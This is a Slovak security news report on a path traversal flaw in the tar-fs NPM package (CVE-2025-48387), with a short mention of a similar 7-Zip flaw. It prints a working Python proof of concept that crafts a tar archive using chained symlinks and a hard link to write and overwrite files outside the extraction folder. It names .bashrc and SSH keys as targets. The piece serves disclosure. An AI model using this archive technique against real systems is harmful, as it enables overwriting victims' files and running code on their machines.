V balíku NPM tar-fs bola zistená zraniteľnosť (CVE-2025-48387), ktorá umožňuje pri rozbaľovaní špeciálne odbavenej tar-archívy zapisovať súbory do akýchkoľvek častí FS, ktoré nie sú obmedzené priečinkom, do ktorého sa rozbaľovanie vykonáva (ako povoľujú prístupové práva aktuálneho používateľa). Zraniteľnosť je možné využiť aj na prepísanie existujúcich súborov, napríklad na vykonanie vlastného kódu v systéme možno prepísať súbory „.ssh/id_rsa“ alebo „.bashrc“ v domácom adresári používateľa.
Problému bola priradená kritická úroveň nebezpečenstva vzhľadom na to, že balík tar-fs má 23 miliónov stiahnutí týždenne a používa sa ako závislosť v 1155 projektoch. Zraniteľnosť bola odstránená vo verziách 3.0.9, 2.1.3 a 1.16.5, ktoré boli vytvorené v máji, ale informácie o zraniteľnosti boli zverejnené až takmer po 3 mesiacoch.
Zraniteľnosť je spôsobená nedostatočnými kontrolami existujúcich symbolických a pevných odkazov v archive na ich vyváženie za hranice cieľového priečinka pre rozbaľovanie. Na obídenie kontrol sa používajú dva symbolické odkazy: prvý odkazuje na koreňový priečinok rozbaľovania archívu (".") a druhý sa vytvára relatívne k prvému symbolickému odkazu a používa v názve znaky "../" na prekonanie základného priečinka. Napríklad, prvý odkaz "noop/noop/noop" odkazuje na ".", zatiaľ čo druhý "noop/noop/noop/../../../../" sa rozvinie ako "./../../../../". Na vytvorenie prepísania súborov v archive môže byť vytvorený pevný odkaz, ktorý odkazuje na externý súbor relatívne k druhému symbolickému odkazu. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
V podobné zraniteľnosti (CVE-2025-55188) bola identifikovaná v archívovom programe 7-Zip. Na zapisovanie súborov mimo základného adresára v 7-Zip môžu byť tiež použité symbolické odkazy so sekvenciou „..\/“ v ceste k súboru. Problém môže byť zneužitý pri dekompresii akýchkoľvek archívov podporujúcich symbolické odkazy, ako napríklad zip, tar, 7z a rar. Problém bol vyriešený vo verzii 7-Zip 25.01.
Zdroj: opennet.ru
